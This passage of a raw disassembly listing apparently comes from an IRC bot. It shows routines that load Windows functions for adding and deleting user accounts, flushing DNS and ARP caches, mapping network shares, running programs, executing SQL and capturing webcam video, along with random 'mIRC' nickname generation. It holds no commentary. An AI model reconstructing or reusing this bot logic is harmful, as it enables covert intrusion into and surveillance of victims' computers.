"NetRemoteTOD" push edi mov dword_4CB034, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4CAED0, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CAE7C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CAE6C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CAF04, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CAFFC, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CAFB4, eax call esi cmp dword_4CAE98, ebx mov dword_4CAED8, eax jz short loc_40A582 cmp dword_4CAE70, ebx jz short loc_40A582 cmp dword_4CAEE8, ebx jz short loc_40A582 cmp dword_4CAF1C, ebx jz short loc_40A582 cmp dword_4CB034, ebx jz short loc_40A582 cmp dword_4CAED0, ebx jz short loc_40A582 cmp dword_4CAE7C, ebx jz short loc_40A582 cmp dword_4CAE6C, ebx jz short loc_40A582 cmp dword_4CAF04, ebx jz short loc_40A582 cmp dword_4CAFFC, ebx jz short loc_40A582 cmp dword_4CAFB4, ebx jnz short loc_40A58C jmp short loc_40A582 ; --------------------------------------------------------------------------- loc_40A577: ; CODE XREF: sub_409B12+969j nop call near ptr 2680930h mov dword_4CB0A0, eax loc_40A582: ; CODE XREF: sub_409B12+A11j ; sub_409B12+A19j ... mov dword_4CB09C, 1 loc_40A58C: ; CODE XREF: sub_409B12+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A5C1 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CAEC0, eax call esi cmp dword_4CAEC0, ebx mov dword_4CAF9C, eax jz short loc_40A5CC cmp eax, ebx jnz short loc_40A5D6 jmp short loc_40A5CC ; --------------------------------------------------------------------------- loc_40A5C1: ; CODE XREF: sub_409B12+A85j nop call near ptr 2680930h mov dword_4CB0A8, eax loc_40A5CC: ; CODE XREF: sub_409B12+AA7j ; sub_409B12+AADj mov dword_4CB0A4, 1 loc_40A5D6: ; CODE XREF: sub_409B12+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A60B push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CB020, eax call esi cmp dword_4CB020, ebx mov dword_4CB01C, eax jz short loc_40A616 cmp eax, ebx jnz short loc_40A620 jmp short loc_40A616 ; --------------------------------------------------------------------------- loc_40A60B: ; CODE XREF: sub_409B12+ACFj call near ptr 2680930h nop mov dword_4CB0B0, eax loc_40A616: ; CODE XREF: sub_409B12+AF1j ; sub_409B12+AF7j mov dword_4CB0AC, 1 loc_40A620: ; CODE XREF: sub_409B12+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A67F push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CB04C, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CB044, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CB00C, eax call esi cmp dword_4CB04C, ebx mov dword_4CAEDC, eax jz short loc_40A68A cmp dword_4CB044, ebx jz short loc_40A68A cmp dword_4CB00C, ebx jz short loc_40A68A cmp eax, ebx jnz short loc_40A694 jmp short loc_40A68A ; --------------------------------------------------------------------------- loc_40A67F: ; CODE XREF: sub_409B12+B19j nop call near ptr 2680930h mov dword_4CB0B8, eax loc_40A68A: ; CODE XREF: sub_409B12+B55j ; sub_409B12+B5Dj ... mov dword_4CB0B4, 1 loc_40A694: ; CODE XREF: sub_409B12+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A6C9 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CAF10, eax call esi cmp dword_4CAF10, ebx mov dword_4CB018, eax jz short loc_40A6D4 cmp eax, ebx jnz short loc_40A6DE jmp short loc_40A6D4 ; --------------------------------------------------------------------------- loc_40A6C9: ; CODE XREF: sub_409B12+B8Dj nop call near ptr 2680930h mov dword_4CB0C0, eax loc_40A6D4: ; CODE XREF: sub_409B12+BAFj ; sub_409B12+BB5j mov dword_4CB0BC, 1 loc_40A6DE: ; CODE XREF: sub_409B12+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A767 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CAFE0, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CB02C, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CAF68, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CAF20, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CAFC0, eax call esi cmp dword_4CAFE0, ebx mov dword_4CAF30, eax jz short loc_40A772 cmp dword_4CB02C, ebx jz short loc_40A772 cmp dword_4CAF68, ebx jz short loc_40A772 cmp dword_4CAF20, ebx jz short loc_40A772 cmp dword_4CAFC0, ebx jz short loc_40A772 cmp eax, ebx jnz short loc_40A77C jmp short loc_40A772 ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_409B12+BD7j nop call near ptr 2680930h mov dword_4CB0C8, eax loc_40A772: ; CODE XREF: sub_409B12+C2Dj ; sub_409B12+C35j ... mov dword_4CB0C4, 1 loc_40A77C: ; CODE XREF: sub_409B12+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A7B1 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CAEF4, eax call esi cmp dword_4CAEF4, ebx mov dword_4CAFD4, eax jz short loc_40A7BC cmp eax, ebx jnz short loc_40A7C6 jmp short loc_40A7BC ; --------------------------------------------------------------------------- loc_40A7B1: ; CODE XREF: sub_409B12+C75j nop call near ptr 2680930h mov dword_4CB0D0, eax loc_40A7BC: ; CODE XREF: sub_409B12+C97j ; sub_409B12+C9Dj mov dword_4CB0CC, 1 loc_40A7C6: ; CODE XREF: sub_409B12+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409B12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7CE proc near ; CODE XREF: sub_401ACD+2536p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CB064, esi push edi mov edi, [ebp+arg_8] jz short loc_40A816 push dword_4CB068 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A816: ; CODE XREF: sub_40A7CE+1Aj cmp dword_4CB06C, esi jz short loc_40A84A push dword_4CB070 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A84A: ; CODE XREF: sub_40A7CE+4Ej cmp dword_4CB074, esi jz short loc_40A87E push dword_4CB078 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A87E: ; CODE XREF: sub_40A7CE+82j cmp dword_4CB07C, esi jz short loc_40A8B2 push dword_4CB080 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8B2: ; CODE XREF: sub_40A7CE+B6j cmp dword_4CB084, esi jz short loc_40A8E6 push dword_4CB088 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8E6: ; CODE XREF: sub_40A7CE+EAj cmp dword_4CB08C, esi jz short loc_40A91A push dword_4CB090 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A91A: ; CODE XREF: sub_40A7CE+11Ej cmp dword_4CB094, esi jz short loc_40A94E push dword_4CB098 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A94E: ; CODE XREF: sub_40A7CE+152j cmp dword_4CB09C, esi jz short loc_40A982 push dword_4CB0A0 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A982: ; CODE XREF: sub_40A7CE+186j cmp dword_4CB0A4, esi jz short loc_40A9B6 push dword_4CB0A8 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9B6: ; CODE XREF: sub_40A7CE+1BAj cmp dword_4CB0AC, esi jz short loc_40A9EA push dword_4CB0B0 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9EA: ; CODE XREF: sub_40A7CE+1EEj cmp dword_4CB0B4, esi jz short loc_40AA1E push dword_4CB0B8 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA1E: ; CODE XREF: sub_40A7CE+222j cmp dword_4CB0BC, esi jz short loc_40AA52 push dword_4CB0C0 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA52: ; CODE XREF: sub_40A7CE+256j cmp dword_4CB0C4, esi jz short loc_40AA86 push dword_4CB0C8 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA86: ; CODE XREF: sub_40A7CE+28Aj cmp dword_4CB0CC, esi jz short loc_40AABA push dword_4CB0D0 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AABA: ; CODE XREF: sub_40A7CE+2BEj lea eax, [ebp+var_200] push offset unk_42D364 push eax call sub_41B886 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40AAE7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40AAE7: ; CODE XREF: sub_40A7CE+302j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx pop edi pop esi pop ebx leave retn sub_40A7CE endp ; =============== S U B R O U T I N E ======================================= sub_40AAF9 proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5C95p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CAFE4 cmp eax, 0FFFFFFFFh jnz short locret_40AB21 push [esp+arg_0] call dword_4CB028 test eax, eax jnz short loc_40AB1A or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AB1A: ; CODE XREF: sub_40AAF9+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AB21: ; CODE XREF: sub_40AAF9+Dj retn sub_40AAF9 endp ; =============== S U B R O U T I N E ======================================= sub_40AB22 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CAEC0 xor eax, eax test ecx, ecx jz short locret_40AB30 call ecx locret_40AB30: ; CODE XREF: sub_40AB22+Aj retn sub_40AB22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB31 proc near ; CODE XREF: sub_401ACD:loc_403F5Dp var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CB020 mov ecx, eax sub ecx, edi jz loc_40ABF7 sub ecx, 32h jz loc_40ABF0 sub ecx, 48h jz short loc_40AB91 sub ecx, 6Eh jz short loc_40AB8A loc_40AB73: ; CODE XREF: sub_40AB31+8Bj push eax lea eax, [ebp+var_88] push offset unk_42D578 push eax call sub_41B886 add esp, 0Ch jmp short loc_40ABD1 ; --------------------------------------------------------------------------- loc_40AB8A: ; CODE XREF: sub_40AB31+40j push offset unk_42D554 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40AB91: ; CODE XREF: sub_40AB31+3Bj push [ebp+var_8] call sub_41B4D5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41B590 add esp, 10h cmp esi, edi jz short loc_40ABBE lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CB020 cmp eax, edi jz short loc_40ABF7 jmp short loc_40AB73 ; --------------------------------------------------------------------------- loc_40ABBE: ; CODE XREF: sub_40AB31+79j push offset unk_42D524 loc_40ABC3: ; CODE XREF: sub_40AB31+5Ej ; sub_40AB31+C4j lea eax, [ebp+var_88] push eax call sub_41B886 pop ecx pop ecx loc_40ABD1: ; CODE XREF: sub_40AB31+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_4151AC pop ecx loc_40ABE1: ; CODE XREF: sub_40AB31+C8j ; sub_40AB31+DCj push esi call sub_41B0B1 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40ABF0: ; CODE XREF: sub_40AB31+32j push offset unk_42D4F4 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40ABF7: ; CODE XREF: sub_40AB31+29j ; sub_40AB31+89j cmp [esi], edi jbe short loc_40ABE1 lea ebx, [esi+4] loc_40ABFE: ; CODE XREF: sub_40AB31+DAj push ebx call dword_4CB01C inc edi add ebx, 18h cmp edi, [esi] jb short loc_40ABFE jmp short loc_40ABE1 sub_40AB31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC0F proc near ; CODE XREF: sub_401ACD+2247p ; sub_401ACD+2398p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CAF48 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CB0D4 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41B886 add esp, 18h mov eax, esi pop esi leave retn sub_40AC0F endp ; =============== S U B R O U T I N E ======================================= sub_40AC68 proc near ; CODE XREF: sub_412B08+24Cp ; sub_412B08+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AC91 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AC84: ; CODE XREF: sub_40AC68+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AC84 pop edi jmp short loc_40AC95 ; --------------------------------------------------------------------------- loc_40AC91: ; CODE XREF: sub_40AC68+Aj mov edx, [esp+4+arg_0] loc_40AC95: ; CODE XREF: sub_40AC68+27j test esi, esi pop esi jz short loc_40AC9F movzx ecx, byte ptr [edx] add eax, ecx loc_40AC9F: ; CODE XREF: sub_40AC68+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AC68 endp ; =============== S U B R O U T I N E ======================================= sub_40ACB5 proc near ; CODE XREF: sub_40B08D+49p ; DATA XREF: ___:off_42D5C0o arg_0 = dword ptr 4 push esi push edi nop call near ptr 26905D6h push eax call sub_41B8D8 pop ecx call sub_41B8E2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42D628[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD1D loc_40ACF7: ; CODE XREF: sub_40ACB5+66j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B494 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACF7 loc_40AD1D: ; CODE XREF: sub_40ACB5+40j mov eax, edi pop edi pop esi retn sub_40ACB5 endp ; --------------------------------------------------------------------------- dw 5756h db 90h db 0E8h, 0ACh, 58h ; --------------------------------------------------------------------------- sub [edx], al push eax call sub_41B8D8 mov edi, [esp+10h] mov dword ptr [esp], offset asc_42913C ; "-" push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD7B loc_40AD55: ; CODE XREF: ___:0040AD79j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B494 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AD55 loc_40AD7B: ; CODE XREF: ___:0040AD53j mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AD80 proc near ; CODE XREF: sub_401ACD+69CCp arg_0 = dword ptr 4 push ebx push esi push edi nop call near ptr 26905D6h push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ADC3 loc_40ADAD: ; CODE XREF: sub_40AD80+41j call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ADAD loc_40ADC3: ; CODE XREF: sub_40AD80+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AD80 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h nop call near ptr 26905D6h push eax call sub_41B8D8 pop ecx lea eax, [ebp-8] mov esi, offset byte_431280 push eax push esi nop call near ptr 26C0000h movsx eax, byte_431280 push 41h pop ecx push 1 pop edx loc_40AE09: ; CODE XREF: ___:0040AE14j cmp eax, ecx jnz short loc_40AE10 mov [ebp-4], edx loc_40AE10: ; CODE XREF: ___:0040AE0Bj inc ecx cmp ecx, 5Bh jl short loc_40AE09 push 61h pop ecx loc_40AE19: ; CODE XREF: ___:0040AE24j cmp eax, ecx jnz short loc_40AE20 mov [ebp-4], edx loc_40AE20: ; CODE XREF: ___:0040AE1Bj inc ecx cmp ecx, 7Bh jl short loc_40AE19 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41B980 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AE65 loc_40AE3F: ; CODE XREF: ___:0040AE63j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B494 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AE3F loc_40AE65: ; CODE XREF: ___:0040AE3Dj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call near ptr 26905D6h nop push eax call sub_41B8D8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call near ptr 26D0000h nop mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_431284 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AEDA loc_40AEB4: ; CODE XREF: ___:0040AED8j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B494 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AEB4 loc_40AEDA: ; CODE XREF: ___:0040AEB2j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset dword_43D158 mov dword ptr [ebp-94h], 94h nop call near ptr 26D0497h nop call near ptr 26905D6h push eax call sub_41B8D8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AF64 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF44 cmp dword ptr [ebp-84h], 1 jnz short loc_40AF34 mov esi, offset dword_4312AC loc_40AF34: ; CODE XREF: ___:0040AF2Dj cmp dword ptr [ebp-84h], 2 jnz short loc_40AFA0 mov esi, offset dword_4312A8 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF44: ; CODE XREF: ___:0040AF24j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AF54 mov esi, offset dword_4312A4 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF54: ; CODE XREF: ___:0040AF4Bj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AF9B mov esi, offset dword_4312A0 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF64: ; CODE XREF: ___:0040AF1Bj cmp dword ptr [ebp-90h], 5 jnz short loc_40AF9B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF7D mov esi, offset dword_43129C jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF7D: ; CODE XREF: ___:0040AF74j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AF8D mov esi, offset dword_431298 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF8D: ; CODE XREF: ___:0040AF84j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_431294 jz short loc_40AFA0 loc_40AF9B: ; CODE XREF: ___:0040AF5Bj ; ___:0040AF6Bj mov esi, offset dword_431290 loc_40AFA0: ; CODE XREF: ___:0040AF3Bj ; ___:0040AF42j ... mov edi, [ebp+8] push esi push offset dword_431288 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AFE4 loc_40AFBE: ; CODE XREF: ___:0040AFE2j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B494 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AFBE loc_40AFE4: ; CODE XREF: ___:0040AFBCj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFEA proc near ; CODE XREF: sub_40B08D+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi nop call near ptr 26905D6h xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40B039 call dword_4CAFB0 test eax, eax mov eax, offset dword_4312B8 jnz short loc_40B022 mov eax, offset dword_43D158 loc_40B022: ; CODE XREF: sub_40AFEA+31j push eax push esi push offset dword_4312B0 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41B980 add esp, 14h jmp short loc_40B059 ; --------------------------------------------------------------------------- loc_40B039: ; CODE XREF: sub_40AFEA+22j call dword_4CAFB0 test eax, eax mov eax, offset dword_4312B8 jnz short loc_40B04D mov eax, offset dword_43D158 loc_40B04D: ; CODE XREF: sub_40AFEA+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41B886 pop ecx pop ecx loc_40B059: ; CODE XREF: sub_40AFEA+4Dj lea eax, [ebp+var_1C] push eax call sub_41AFE0 pop ecx cmp eax, 2 pop esi jbe short loc_40B088 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C1E0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41B5F0 add esp, 18h loc_40B088: ; CODE XREF: sub_40AFEA+7Dj mov eax, [ebp+arg_0] leave retn sub_40AFEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B08D proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D5BC loc_40B099: ; CODE XREF: sub_40B08D+3Fj cmp [ebp+arg_C], 0 jz short loc_40B0B4 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41C070 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B0BE ; --------------------------------------------------------------------------- loc_40B0B4: ; CODE XREF: sub_40B08D+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40B0BE: ; CODE XREF: sub_40B08D+25j test eax, eax jnz short loc_40B0D0 add esi, 14h inc edi cmp esi, offset off_42D634 jb short loc_40B099 jmp short loc_40B0DE ; --------------------------------------------------------------------------- loc_40B0D0: ; CODE XREF: sub_40B08D+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42D5C0[eax*4] pop ecx loc_40B0DE: ; CODE XREF: sub_40B08D+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40B0F1 push [ebp+arg_0] call sub_40AFEA pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40B0F1: ; CODE XREF: sub_40B08D+57j mov eax, [ebp+arg_0] pop ebp retn sub_40B08D endp ; =============== S U B R O U T I N E ======================================= sub_40B0F6 proc near ; CODE XREF: ___:00401599p ; ___:004015D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43DCE0 loc_40B0FE: ; CODE XREF: sub_40B0F6+18j cmp byte ptr [eax], 0 jz short loc_40B112 add eax, 234h inc edi cmp eax, offset dword_4CACE0 jl short loc_40B0FE jmp short loc_40B15D ; --------------------------------------------------------------------------- loc_40B112: ; CODE XREF: sub_40B0F6+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43DCE0[esi] push eax call sub_41B5F0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43DEE0[esi], eax and dword_43DEE4[esi], 0 mov eax, [esp+8+arg_8] and dword_43DEE8[esi], 0 mov dword_43DEEC[esi], eax and byte_43DEF8[esi], 0 pop esi loc_40B15D: ; CODE XREF: sub_40B0F6+1Aj mov eax, edi pop edi retn sub_40B0F6 endp ; --------------------------------------------------------------------------- byte_40B161 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2989o dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh dd 0C4830000h, 90006A14h, 2D4E4FE8h, 555E5F02h, 0EC81EC8Bh dd 200h, 6A5756h, 681075FFh, 4313B8h, 0FF0C75FFh, 9FE80875h dd 83FFFFE8h, 0FF3314C4h, 43DCE0BEh, 3E8000h, 7D833C74h dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h dd 0C1C468FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h, 0C68124C4h dd 234h, 0E0FE8147h, 7C004CACh, 0C95E5FB0h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40B231 proc near ; CODE XREF: sub_401ACD+7BA4p ; sub_40B2BF+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B2B9 cmp esi, 400h jge short loc_40B2B9 imul esi, 234h push edi push ebx push 